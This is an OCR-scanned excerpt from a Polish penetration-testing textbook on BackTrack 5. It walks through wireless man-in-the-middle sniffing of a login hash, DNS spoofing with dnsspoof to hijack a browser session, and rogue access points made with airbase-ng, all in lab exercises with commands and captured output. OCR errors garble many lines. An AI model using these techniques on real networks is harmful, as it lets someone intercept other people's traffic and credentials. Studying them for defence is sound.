: Mozillass.0 (Windows: Us Windows NT 8.0; en-US: rv:1.9.2.15) Cecko/20110303 Firefox/3.6.15 (.NET CLA 3.5.30729)\r\n
text/htnl,application/zhtmlexml, application/zsl;q=0.5, =0.8\r\n

an-us,en;a=0.5\r\n

Accapt-Encoding: geip,deflateirin

Accept-Charsat: 150-8858-1,utf-8:020.7,%a=0.7\r\n

User- dge
dccept:

Keap- Al1s L1Svrn -
Connaction: kesp-alive\rin ::
vrin E
no3a u:b.qdnmwn ey
{76 Raquest-UR (hitp requ Backats: 380 Displayed: 38 Markad. 0 Dropped: & [Frofile. Dafauh 4
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Rozdziat 7. ¢ Zaawansowane ataki na sieci WLAN

8. Ponizej przedstawiono zawartos¢é pakietu wyréznionego na poprzednim rysunku:

b Frame 208: 502 bytes on wire (4016 bits), S02 bytes captured (4016 bits)
b Ethernet II, Sre: IntelCor 3S:fe:44 (00:22:fb:3S:fe:44), Dst: D-Link_d2:8a:25 (00:21:01:d2:02:25)
b Internet Protocol, Src: 192.168.0.197 (192.168.0.197), Dst: 192.168.0.1 (192.168.0.1)
b Transmission Control Protocal, Src Port: 48472 (49472), Dst Port: http (B0), Seq: 395, Ack: 18904, Len: 448
= Hypertext Transfer Protocal : :
= GET /post_login. xml7hash=8ds7e8fS i6ceTBceb2n3aba17ds HTTR/1. 1\r\n
b [Expert Info (Chat/Sequencel; GET /post_login.xml?hash=S9de7eEfS5cd74c69258308d5ce76ceb2634bA17d5 HTTP/1.1\ryn]
Request Method: GET
Request Version: HITP/1.1
Host: 182.168.0.1\r\n
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.2.15) Gecko/20110303 Firefox/3.6.15 (.NET CLR 3
Accapt: taxt/html,application/xhtmlexml, application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: &n-us,en;q=0.5\r\n

Accept-Encoding: gzip,deflate\r\n

Accept-Charset: 150-8859-1,utf.8;q=0.7,*;q=0.7\r\n
Keep-Alive: 11S\r\n

Connection: keep-alive\r\n

vrin

9. Rozwiniecie zawartosci nagtéwka HTTP pozwala zauwazyé, ze hasto, ktére zostato
wprowadzone podczas logowania sie do punktu dostepowego, nie jest przesylane
— zamiast niego przesylana jest wartosé funkcji skrétu tego hasta (ang. hash). Jezeli
przyjrzysz sie zawartosci pakietu oznaczonego na poprzednim rysunku numerem
64, zauwazysz, ze zadanie zostalo przestane za pomoca skryptu /md5.js, co pozwala
podejrzewaé, ze funkcja skrétu hasta wykorzystuje algorytm md5. Warto tutaj
zauwazy¢, ze jezeli algorytm tworzenia funkcji skrétu nie uzywa soli kryptograficznej
(ang. cryptographic salt), zwanej inaczej ciggiem zaburzajacym poszczegélne sesje,
to taka technika moze by¢ podatna na atak oparty na powtarzaniu pakietéw.
Odnalezienie niezbednych szczegétéw pozostawimy Ci jako zadanie do samodzielnego
wykonania, poniewaz nie jest to bezposrednio zwigzane z bezpieczenstwem sieci
bezprzewodowych i szczegélowe omawianie tego zagadnienia wykracza daleko
poza ramy tej ksigzki.

~ Hypertext Transfer Protocal
~ GET /post_login.xml7hash=94e7e8fS5c474c69258308d9ce76ceb2634b417d5 HTTP/ L. 1\ r\n
b [Expert Info (Chat/Sequerce): GET /post login.xml?hash=04e7e8f5c474c69258308d9ce76ceh2634b417d5 HTTP/1.14r\n]
Request Method: GET
Request URT: /pest login.xml?hash=0de7e8f5c474c60258308d0ce76ceb2634b417d5

Request Version: HTITP/1.1

To ¢wiczenie doskonale pokazuje, jak tatwo mozna monitorowaé¢ i podstuchiwaé ruch gene-
rowany przez klienta po przeprowadzeniu ataku typu Man-in-the-Middle.

Co sie stafo?

Dzieki odpowiedniemu przygotowaniu ataku Man-in-the-Middle mozesz teraz bez najmniejszych
probleméw monitorowaé i podstuchiwaé ruch generowany przez niczego niepodejrzewajace
klienty sieci bezprzewodowej. Jest to mozliwe, poniewaz w ataku typu Man-in-the-Middle
caly ruch sieciowy jest przekazywany przez komputer napastnika, wiec nieszyfrowany ruch
sieciowy moze by¢ tatwo podstuchany i przechwycony.
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Zréb to sam — odszukiwanie zapytan przesytanych do wyszukiwarki Google

W obecnych czasach raczej kazdemu z nas powinno zaleze¢ na zachowaniu poufnosci zapytan
wpisywanych w przegladarce Google. Niestety, domy§lnie dane sa przesylane do przegladarki
za pomocg protokotu HTTP czystym, nieszyfrowanym tekstem.

Sprawdz, czy potrafisz w programie Wireshark utworzy¢ sprytny filtr, ktéry bedzie wyswietlal
na ekranie wszystkie zapytania wpisywane przez ofiare ataku w wyszukiwarce Google.

Przechwytywanie sesji
w sieciach bezprzewodowych

Jednym z bardzo interesujacych atakéw, jakie mozemy przeprowadzi¢ na podstawie ataku
Man-in-the-Middle, jest przechwytywanie sesji aplikacji. Podczas ataku Man-in-the-Middle
wszystkie pakiety wysylane przez komputer ofiary przechodzg przez komputer napastnika.
Zadaniem komputera napastnika jest odpowiednie przekazywanie ich do hostéw docelowych
oraz przekazywanie odpowiedzi hostéw do komputera ofiary. Ciekawym elementem takiego
procesu jest mozliwosé modyfikacji danych w przekazywanych pakietach (jezeli nie sg szy-
frowane lub nie korzystajg z innych zabezpieczen integralno$ci danych). W praktyce oznacza to,
ze napastnik moze modyfikowaé, uszkadza¢ lub nawet selektywnie usuwa¢ wybrane pakiety.

W kolejnym éwiczeniu pokazemy, w jaki spos6b mozna przechwycié sesje DNS, korzystajac
z ataku Man-in-the-Middle, a nastepnie na podstawie przechwyconej sesji DNS pokazemy,
jak przechwyci¢ sesje przegladarki probujacej polaczy¢ sie z wyszukiwarka google.com.

Czas na dziatanie — przechwytywanie sesji
w sieciach bezprzewodowych

1. Przygotuj laboratorium w takiej konfiguracji, jakiej uzywalismy w poprzednich
éwiczeniach do atakéw typu Man-in-the-Middle. Na komputerze ofiary uruchom
przegladarke sieciows i przejdz na strone google.com, monitorujac jednoczesnie
caly generowany w ten spos6b ruch przy uzyciu programu Wireshark. Okno tego
programu powinno wygladaé¢ mniej wiecej tak, jak na rysunku ponizej:

Time Source Destination Protoco | Info

IntelCor 35:fc:44 ARP  Who has 192.168.0.17 Tell 192.168.0.197
2 0.000603 D-Link_d2:Be:25 IntelCor_3S:fc:44 ARP 192.168.0.1 15 at 00:21:61:d2:8e:25
3 0.005758 192.168.0.187 192.168.0.1 DNS Standard query A google.com
41.001276 192,168,0.197 192.168.0.1 DNS Standard query A google.com
S 2.000004 192.168.0.197 192, 168.0.1 DNS Standard query A google.com
6 3.415114 D-Link_d2:8e:25 Broadcast ARP who has 192.168.0.1987 Tell 192.168.0.1
7 3.999838 192.168.0.157 192.168.0.1 DNS Standard query A google.com
8 7.999001 192,168,0.197 192.168.0.1 DNS Standard query A google.com
9 8.720771 182.168.0.187 182.168.0.1 DNS Standard query ANY wpad
10 9.719183 192.168.0.157 192.168.0.1 DNS Standard query ANY wpad
11 10.719577 192.168.0.197 192.168.0.1 DNS Standard query ANY wpad
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2. W programie Wireshark ustaw filtr tak, aby wyswietlane byly wylacznie ramki
protokotu DNS. Jak widaé na kolejnym rysunku, komputer ofiary wysyla zadania

DNS dla adresu google.com:

at0 - Wireshark

Frame S5: 70 bytes on wire (580 bits), 70 bytes captu-ed (560 bits)
Ethernet II, Src: IntelCor_35:fc:44 (00:22:fb:35:fc:44), Dst: D-Link_d2:8e:25 (00:21:91:d2:82:25)
Internet Protocel, Src: 192.168.0.197 (192.168.0.197), Dst: 192.168.0.1 (192.168.0.1)

User Datagram Protocol, Src Port: 63500 (63500), Dst Port: domain (53)

Domain Mame System (query)

Transaction IC: Ox72a3

Flags: 0x0100 (Standard query)

Questions: 1

Answer RRs: O

Authority RRs: O

Additional RRs: O

¥ Queries

~ google.com: type A, class IN

i~~~

-

MName: google.com
Type: A (rost address)
Class: IN (©x0001)

View Gc Capture Analyze Statistics Telephony Tools Help

SESHAEY caxe = % $ 00 ® =& F §
Filter: [dns E] Expression... Clear Apply
No. ‘ Time ‘ Source | Destinaticn | Protoco | Info

3 0.005758 192.168.0.157 192.168.0.1 DNS Standard query A google.com

4 1.001276 192.168.0.157 192.168.0.1 DNS Standard query A google.com

5 2.000004 192.168.0.197 192.168.0.1 DNS Standard query A google.com

7 3.999838 192.168.0.197 192.168.0.1 DNS Standard query A google.com

8 7.999001 192.168.0.197 192.168.0.1 DNS Standard auerv A aooale.com

3. Aby przechwycié sesje przegladarki, musisz przesta¢ do ofiary fatszywe odpowiedzi DNS,
ktore beda pokazywaé, ze adresowi google.com odpowiada adres IP 192.168.0.199,
bedacy w rzeczywistosci adresem IP napastnika. Do tych niecnych celéw nalezy uzy¢
narzedzia Dnsspoof. Aby to zrobié, w oknie terminala musisz wpisa¢ nastepujace

polecenie: dnsspoof —i mitm-bridge:

root@bt: ~ - Shell No. 2 - Konsole

m- Edit View Bookmarks Settings Help

:~# dnsspoof -i mitm-bridge
dnsspoof: listening on mitm-bridge [udp dst port 53 and not src 192.168.6.199]

4. Odswiez okno przegladarki sieciowej. Od tej chwili, jak doskonale wida¢ w oknie
programu Wireshark, za kazdym razem, kiedy ofiara wysyla zadanie DNS dla
dowolnego hosta (wlacznie z google.com), odpowiedz jest przesylana przez

program Dnsspoof:

root@bt: ~ - Shell No. 2 - Konsole

n Edit View Bookmarks Settings Help

:~# dnsspoof -i mitm-bridge

dnsspoof: listening on mitm-bridge [udp dst port 53 and not src 192.168.0.199]

192.168.0.197.52658 > 192.168.0.1.53: 47096+ A? google.com
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Capturing from at0 - Wireshark

fle Edit View Go Capture Analyze Statistics Telephony Tools Help

Bl esdRe=%0¢%o00

® =/ F @l B8 3

b Frame 8: 86 bytes on wire (588 bits), 86 bytes captured (688 bits)
b Ethernet II, Src: Alfa_3e:bd:93 (00:cO:ca:3e:bd:93), Dst: Intelcor_35:fc:44 (00:22:fb:35:fc:a4)
b Internet Protocol, Src: 192.168.0.1 (192.168.0.1), Dst: 182.168.0.197 (192.168.0.197)
b User Datagram Protocol, Src Port: domain (53), Dst Port: 52664 (52664)
~ Domain Name System (response)
Request In: 5
[Time: 0.007317000 secends]
Transaction ID: OxdSld
b Flags: 0x8180 (Standard query response, No error)
Questions: 1
Answer RRs: 1
authority RRs: O
additional RRs: O
b Queries

< Answers
< google.com: type A, class IN, addr 192.168.0.199
Name: google.com
Type: A (Host address)
Class: IN (0x0001)
Time to live: 1 minute
Data length: 4

Fiter: [dns [~ Expression... clear Apply

No ‘T\me ‘ Source ‘ Destination ‘ Protoco ‘ Info
5 7.502037 152.168.0.1 DNS Standard query A google.com
8 7.500354 192.168.0.157 DNS Standard query response A 192.168.0.199
15 9.074664  192,168.0.197 192.168.0.1 DNS standard query A download.divx.com
15 9.075805 192.158.0.1 192.168.0.197 DNS Standard query response A 192 158.0.199
18 10.569675  192.168.0.197 192.168.0.1 DNS. Standard query A www.stopbadware.org
19 10.569832 192.168.0.1 152.168.0.197 DNS Standard query response A 192.168.0.199

5. W oknie przegladarki na komputerze ofiary wida¢ teraz komunikat o wystapieniu
btedu, informujacy o odmowie realizacji polaczenia. Dzieje sie tak dlatego, ze przez
atak komputer ofiary, prébujac polaczyé sie z serwisem google.com, w rzeczywistoSci
aczy sie z komputerem napastnika o adresie 192.168.0.199, z tym ze na razie

na porcie 80 tego komputera nie zostata uruchomiona zadna ustuga.

[ Proiem Icading page - Meadila Firefer e e |
Fie [dit Yiew Higtory Bockmarks ook Melp Belated Links
- L g genglecomi - P
. Prabiem loading page
I Unable to connect
Firefos can't establish a connection to the server at google.com.
® The site could be temporarily undvaiable or 165 busy. Try again in a féw maments
® o you are unable to lnad any pages, chick your compiters network connection
= ¥ your companer of netwark is prtected by a firewall er pravy, make sure that
Firefon 13 permitted to stcess the Wb
Try Again
[
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Rozdziat 7. ¢ Zaawansowane ataki na sieci WLAN

6. Aby to zmieni¢, uruchom teraz serwer Apache (dostarczany wraz z dystrybucja
BackTrack). Otworz okno terminala i wykonaj polecenie apache2ct1 start.

root@bt: ~ - Shell No. 3 - Konsole

Session Edit View Bookmarks Settings Help

:~# apache2ctl start
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
~#

~#
= |

7. Jezeli teraz ponownie od$wiezysz okno przegladarki sieciowej na komputerze ofiary,
na ekranie pojawi sie domyslna strona serwera Apache:

Wlozills Faelor o
e [dt Yew Hatory Bookmars Tooh bHelp Bebetss ks
a = L i/ guogle s £ B
Wtpdfavoaecom!

It works!

Wykonane ¢éwiczenie dobrze pokazuje, w jaki sposéb mozna przechwyci¢ bezprzewodowa
sesje klienta bedacego celem ataku, przeanalizowaé dane wysylane przez komputer ofiary
i odeslaé¢ fatszywe odpowiedzi na jego zadania.

Co sie stato?

Wykorzystujac przygotowany weze$niej atak Man-in-the-Middle, udalo Ci sie pomyslnie
przechwycié bezprzewodowsa sesje aplikacji klienta. A co dzialo sie za kulisami? Dzieki konfi-
guracji do ataku Man-in-the-Middle miales mozliwo$¢ monitorowania wszystkich pakietéw wy-
sylanych przez ofiare. Po przechwyceniu zadania DNS wystanego przez ofiare program Dnsspoof
dzialajacy na komputerze napastnika odestal do komputera ofiary falszyws odpowiedz DNS,
wskazujaca, ze nazwie hosta google.com odpowiada adres IP 192.168.0.199, bedacy w rze-
czywisto$ci adresem IP komputera napastnika. Komputer ofiary przyjmuje te odpowiedz za
prawdziwg (bo nie ma powodu, zeby jg odrzucié) i przegladarka ofiary wysyla zadanie HTTP
na port 80 komputera napastnika.

W pierwszej czesci tego eksperymentu na porcie 80 komputera napastnika nie dzialala zadna
ustuga, ktéra moglaby obstuzy¢ zadanie klienta, stad w oknie przegladarki sieciowej ofiary
pojawil sie komunikat o wystgpieniu bledu. Nastepnie na komputerze napastnika uruchomites
serwer Apache, dzialajacy domyslnie na porcie 80, ktéry od tej chwili rozpoczal obstugiwanie
zadanh HTTP wysylanych przez komputer ofiary (w oknie przegladarki ofiary zostata wyswietlona
domy$lna strona WWW serwera Apache).

To ¢wiczenie pokazuje, ze po przejeciu pelnej kontroli nad nizszymi warstwami protokotu
sieciowego (w naszym przypadku warstwa druga) przejecie sesji aplikacji dzialajacych na wyz-
szych warstwach, takich jak klienty DNS czy przegladarki sieciowe, jest zadaniem dosy¢ prostym.
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Zréb to sam — przechwytywanie sesji aplikacji

Kolejnym etapem w przechwytywaniu bezprzewodowych sesji aplikacji na podstawie ataku
Man-in-the-Middle jest modyfikacja danych wysytanych przez klienta. Zapoznaj sie z pakietem
Ettercap, bedacym czescig dystrybucji BackTrack, ktéry pomoze Ci tworzy¢ filtry pozwalajace
na wyszukiwanie i zamiane danych w pakietach ruchu sieciowego.

W tym zadaniu powiniene$ napisaé prosty filtr, ktéry bedzie automatycznie zamienial wszystkie
wystapienia stowa bezpieczeristwo na niebezpieczenstwo. Nastepnie sprobuj wpisa¢ w Google
stowo bezpieczeristwo i sprawdz, czy w odpowiedzi otrzymujesz trafienia zwigzane ze stowem
niebezpieczenstwo.

Odkrywanie konfiguracji
zabezpieczen klienta

W poprzednich rozdziatach pokazalismy, jak mozna tworzy¢ podstawione punkty dostepowe
(Honeypot) z otwartym dostepem, a takze wykorzystujace szyfrowanie WEP i WPA, ale jak
w praktyce, kiedy pracujesz w terenie i przechwytujesz pakiety sondowania (ang. Probe
Requests) wysylane przez atakowanego klienta, mozesz sie dowiedzie¢, jakiego protokotu za-
bezpieczen uzywa sieé, do ktorej usituje podtaczy¢ sie klient?

Cho¢ na pierwszy rzut oka zadanie moze sie wydawaé nieco karkolomne, w praktyce rozwia-
zanie jest bardzo proste. Aby sie o tym przekonaé, nalezy utworzy¢ kilka punktéw dostepo-
wych rozglaszajacych sie¢ o takim samym identyfikatorze SSID, ale r6znych konfiguracjach
zabezpieczen. Kiedy klient poszukujacy sieci odnajdzie takie punkty dostepowe, automatycz-
nie podlaczy sie do skonfigurowanego tak, jak sie¢, ktérej poszukuje (a ktérej konfiguracja jest
przechowywana przez klienta w profilu sieci).

A zatem zaczynamy!

Czas na dziatanie — odkrywanie profili
zabezpieczen klientow bezprzewodowych

1. Cwiczenie rozpocznij od przyjecia zalozenia, ze klient bedacy celem ataku byt
skonfigurowany pod katem sieci o nazwie Wireless Lab i kiedy nie jest podtaczony
do Zadnego punktu dostepowego, aktywnie rozsyla pakiety sondujace w poszukiwaniu
tej sieci. Aby odkry¢ konfiguracje zabezpieczen tej sieci, musisz utworzy¢ kilka
punktéw dostepowych o ré6znych konfiguracjach. Na potrzeby tego éwiczenia
przyjmij, ze klient jest przygotowany do pracy w jednej z nastepujacych konfiguracji:
uwierzytelnianie z otwartym dostepem, szyfrowanie WER szyfrowanie WPA PSK
lub szyfrowanie WPA2 PSK. Oznacza to, ze trzeba utworzy¢ cztery punkty dostepowe.
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Aby to zrobi¢, musisz najpierw utworzy¢ cztery wirtualne interfejsy sieciowe, o nazwach
odpowiednio mon0, monl, mon2 i mon3. Dokonasz tego poprzez kilkukrotne wykonanie
polecenia airmon-ng start wlan0, tak jak przedstawiono na rysunku ponizej:

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

:~# airmon-ng start wlan@

Interface Chipset Driver
wlan@ RTL8187 rtl8187 - [phy2]

(monitor mode enabled on monl)
mon@ RTL8187 rtl8187 - [phy2]

:~# airmon-ng start wlane

Interface Chipset Driver
wlan@ RTL8187 rtl8187 - [phy2]
(monitor mode enabled on mon2)
mon@ RTL8187 rtl8187 - [phy2]
monl RTL8187 rtl8187 - [phy2]

:~# airmon-ng start wlan®

Interface Chipset Driver
wlan0 RTL8187 rtl8187 - [phy2]
(monitor mode enabled on mon3)
mon@ RTL8187 rtl8187 - [phy2]
monl RTL8187 rtl8187 - [phy2]
mon2 RTL8187 rtl8187 - [phy2]
~# 11

2. Aby wyswietlié na ekranie wszystkie nowo utworzone interfejsy, powiniene$
wykonadé polecenie ifconfig -a, jak wida¢ na kolejnym rysunku:

mon@

monl

mon2

mon3

Link encap:UNSPEC HWaddr 00-C0-CA-3E-BD-93-00-00-00-00-00-00-00-00-00-00
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1l

RX packets:2111 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

collisions:@ txqueuelen:1000

RX bytes:245105 (245.1 KB) TX bytes:6 (0.0 B)

Link encap:UNSPEC HWaddr 00-C0-CA-3E-BD-93-00-00-00-00-00-00-00-00-00-00
UP BROADCAST RUNNING MULTICAST MTU:1560 Metric:1

RX packets:1164 errors:0 dropped:0 overruns:0 frame:@

TX packets:0 errors:0 dropped:@ overruns:@ carrier:0

collisions:@ txqueuelen:1000

RX bytes:125255 (125.2 KB) TX bytes:6 (0.0 B)

Link encap:UNSPEC HWaddr 00-C0-CA-3E-BD-93-00-00-00-00-00-00-00-00-00-00
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:1085 errors:0 dropped:@ overruns:® frame:@

TX packets:0@ errors:0 dropped:@ overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:116659 (116.6 KB) TX bytes:0 (0.0 B)

Link encap:UNSPEC HwWaddr 00-C@-CA-3E-BD-93-00-00-00-00-00-00-00-00-00-00
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:887 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:95727 (95.7 KB) TX bytes:0 (0.0 B)
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3. Teraz mozesz przystapic¢ do utworzenia pierwszego punktu dostepowego,

wykorzystujacego interfejs mon0 i uwierzytelnianie z otwartym dostepem:

root@bt: ~ - Shell No. 2 - Konsole

Session Edit View Bookmarks Settings Help

:~# airbase-ng --essid "Wireless Lab" -a AA:AA:AA:AA:AA:AA -c 3 mon@
01:56:20 Created tap interface ate
01:56:20 Trying to set MTU on ate to 1560
01:56:21 Access Point with BSSID AA:AA:AA:AA:AA:AA started.

4. Na interfejsie monl utwérz punkt dostepowy z szyfrowaniem WEP:

root@bt: ~ - Shell No. 3 - Konsole

Session Edit View Bookmarks Settings Help

:~# airbase-ng --essid "Wireless Lab" -c 3 -a BB:BB:BB:BB:BB:BB -W 1 monl
For information, no action required: Using gettimeofday() instead of /dev/rtc
01:59:44 Created tap interface atl
01:59:44 Trying to set MTU on atl to 1500

ti set_mac failed: Cannot assign requested address

'You most probably want to set the MAC of your TAP interface.
ifconfig <iface> hw ether BB:BB:BB:BB:BB:BB

01:59:45 Access Point with BSSID BB:BB:BB:BB:BB:BB started.

5. Interfejsu mon2 uzyj do utworzenia punktu dostepowego z szyfrowaniem
WPA PSK:

n Edit View Bookmarks Settings Help

:~# airbase-ng --essid "Wireless Lab" -¢ 3 -a CC:CC:CC:CC:CC:CC -W 1 -z 2 mon2
For information, no action required: Using gettimeofday() instead of /dev/rtc
01:58:48 Created tap interface at2
01:58:48 Trying to set MTU on at2 to 1560
01:58:48 Trying to set MTU on mon2 to 1800
01:58:48 Access Point with BSSID CC:CC:CC:CC:CC:CC started.

6. Wreszcie ostatni interfejs, mon3, zostanie uzyty do utworzenia punktu
dostepowego z szyfrowaniem WPA2 PSK:

root@bt: ~ - Shell No. 5 - Konsole

Session Edit View Bookmarks Settings Help

:~# airbase-ng --essid "Wireless Lab" -c 3 -a DD:DD:DD:DD:DD:DD -W 1 -Z 2 mon3
For information, no action required: Using gettimeofday() instead of /dev/rtc
02:00:31 Created tap interface at3
02:00:31 Trying to set MTU on at3 to 1500
02:00:31 Trying to set MTU on mon3 to 1800

ti_set_mac failed: Cannot assign requested address
You most probably want to set the MAC of your TAP interface.
ifconfig <iface> hw ether DD:DD:DD:DD:DD:DD

02:00:32 Access Point with BSSID DD:DD:DD:DD:DD:DD started.
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7. Aby sprawdzié, czy wszystkie cztery punkty dostepowe dzialaja poprawnie, uzyj
polecenia airodump-ng do nastuchiwania na tym samym kanale:

root@bt: ~ - Shell No. 6 - Konsole

Session Edit View Bookmarks Settings Help

CH 1 ][ Elapsed: 8 s ][ 2011-86-28 02:00

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

AA:AA:AA:AA:AA:AA 0 100 1le7 ] @ 3 54 OPN Wireless Lab
CC:CC:CC:cc:cc:Cc 0 100 107 0 0 3 54 WPA TKIP PSK Wireless Lab
DD:DD:DD:DD:DD:DD 0 100 1le7 ] @ 3 54 WPA2 TKIP PSK Wireless Lab
BB:BB:BB:BB:BB:BB 0 100 107 0 @ 3 54 WEP WEP w:i.re'Less Lab

8. Po utworzeniu wszystkich punktéw dostepowych mozesz wlaczy¢ bezprzewodows
karte sieciowa w kliencie. W zaleznosci od tego, z jakiej sieci Wireless Lab klient
ostatnio korzystal, automatycznie podlaczy sie do punktu dostepowego o takiej
konfiguracji zabezpieczen. W naszym przypadku klient podlaczyl sie do punktu
dostepowego sieci z szyfrowaniem WPA PSK.

root@bt: ~ - Shell No. 4 - Konsole

Session Edit View Bookmarks Settings Help

:~# airbase-ng --essid "Wireless Lab" -c¢ 3 -a €C:CC:CC:CC:CC:CC -W 1 -z 2 mon2
For information, no action required: Using gettimeofday() instead of /dev/rtc
01:58:48 Created tap interface at2
01:58:48 Trying to set MTU on at2 to 1560
01:58:48 Trying to set MTU on mon2 to 18060
01:58:48 Access Point with BSSID CC:CC:CC:CC:CC:CC started.

02:04:23 Client C8:BC:(8:EE:12:8B associated (WPALl;TKIP) to ESSID: "Wireless Lab"
02:04:23 Client C8:BC:C8:EE:12:0B associated (WPA1l;TKIP) to ESSID: "Wireless Lab"
02:04:23 Client C8:BC:C8:EE:12:0B associated (WPAL;TKIP) to ESSID: "Wireless Lab"
02:04:23 Client C8:BC:(8:EE:12:0B associated (WPALl;TKIP) to ESSID: "Wireless Lab"
02:04:23 Client C8:BC:C8:EE:12:0B associated (WPA1l;TKIP) to ESSID: "Wireless Lab"
02:04:23 Client C8:BC:C8:EE:12:0B associated (WPA1;TKIP) to ESSID: "Wireless Lab"

Co sie stato?

W tym éwiczeniu utworzyles kilka podstawionych punktéw dostepowych, ktére rozglaszaty
sie¢ Wi-Fi o takim samym identyfikatorze SSID, ale o ré6znych konfiguracjach zabezpieczen.
Klient poszukujacy sieci o takim identyfikatorze SSID automatycznie podlaczat sie do punktu
dostepowego o konfiguracji, jaka wystepowala podczas ostatniego polaczenia klienta z orygi-
nalna siecia Wireless Lab.

Opisana technika moze byé¢ bardzo przydatna w praktyce, poniewaz kiedy przeprowadzasz
test penetracyjny, nie zawsze z gory bedziesz wiedzial, jakiej konfiguracji zabezpieczen sieci
uzywa dany klient. Nasze rozwigzanie pozwala na szybkie okres§lenie wlasciwej konfiguracji
przez podsuniecie klientowi ,,przynety” w postaci falszywego punktu dostepowego. W lite-
raturze przedmiotu taka technika jest czesto okreslana nazwa WiFishing (z ang. WiFi — sieci
bezprzewodowe, fishing — wedkowanie, lowienie ryb).
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BackTrack 5. Testy penetracyjne sieci WiFi

Zréb to sam — podsuwanie ,przynety” klientowi

Zmieniaj konfiguracje zabezpieczen sieci bezprzewodowej klienta i sprawdz, czy Twéj zestaw
punktéw dostepowych (Honeypot) jest w stanie je wykryd.

Warto zauwazydé, ze wiele klientéw Wi-Fi jest skonfigurowanych tak, aby w razie braku pota-
czenia z punktem dostepowym nie wysyla¢ pakietéw sondowania sieci domy$lnej. W takiej
sytuacji wykrycie konfiguracji sieci domyslnej przy uzyciu technik opisanych powyzej nie bedzie
mozliwe.

Szybki quiz — zaawansowane ataki na sieci WLAN

1. Kto znajduje sie ,w Srodku” podczas ataku typu Man-in-the-Middle:
a) Punkt dostepowy.
b) Komputer napastnika.
¢) Komputer ofiary.
d) Zaden z powyzszych.

2. Pakiet Dnsspoof:
a) Pozwala na falszowanie zadan DNS.
b) Pozwala na falszowanie odpowiedzi serwera DNS.
¢) Musi byé uruchomiony na serwerze DNS.
d) Musi byé¢ uruchomiony na punkcie dostepowym.

3. Atak typu Man-in-the-Middle na sie¢ bezprzewodowa moze zosta¢
przeprowadzony:

a) Na wszystkich klientach bezprzewodowych w tym samym czasie.
b) Tylko na jednym kanale w tym samym czasie.
¢) Tylko na sieci o danym identyfikatorze SSID w tym samym czasie.
d) Zar6éwno (b), jaki (c).
4. Interfejs, ktéry podczas ataku Man-in-the-Middle znajdowat sie najblizej ofiary,
nosi nazwe:

a) At0.
b) Eth0.
c) Br0.
d) Eno0.
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Rozdziat 7. ¢ Zaawansowane ataki na sieci WLAN

Podsumowanie

W tym rozdziale przeczytales, w jaki spos6b mozna przeprowadzaé zaawansowane ataki na
sieci bezprzewodowe, wykorzystujac atak typu Man-in-the-Middle. W ramach éwiczen utwo-
rzyles konfiguracje sieci do przeprowadzenia ataku Man-in-the-Middle, a nastepnie uzywate§
jej do podstuchiwania ruchu sieciowego generowanego przez komputer ofiary. P6zniej uzyles
tej samej konfiguracji sieci do przeprowadzenia ataku polegajacego na przechwyceniu sesji
aplikacji (w tym wypadku przegladarki sieciowej) przy uzyciu ataku opartego na falszowaniu
odpowiedzi serwera DNS.

W kolejnym rozdziale pokazemy, jak przeprowadza¢ testy penetracyjne sieci bezprzewodo-
wych od fazy poczatkowego planowania poprzez rozpoznawanie i odkrywanie konfiguracji az
do fazy przeprowadzania koficowych atakéw i raportowania osiagnietych wynikéw. Oméwimy
réwniez kilka zagadnien zwigzanych z najlepszymi procedurami i praktykami zabezpieczania
sieci WLAN.
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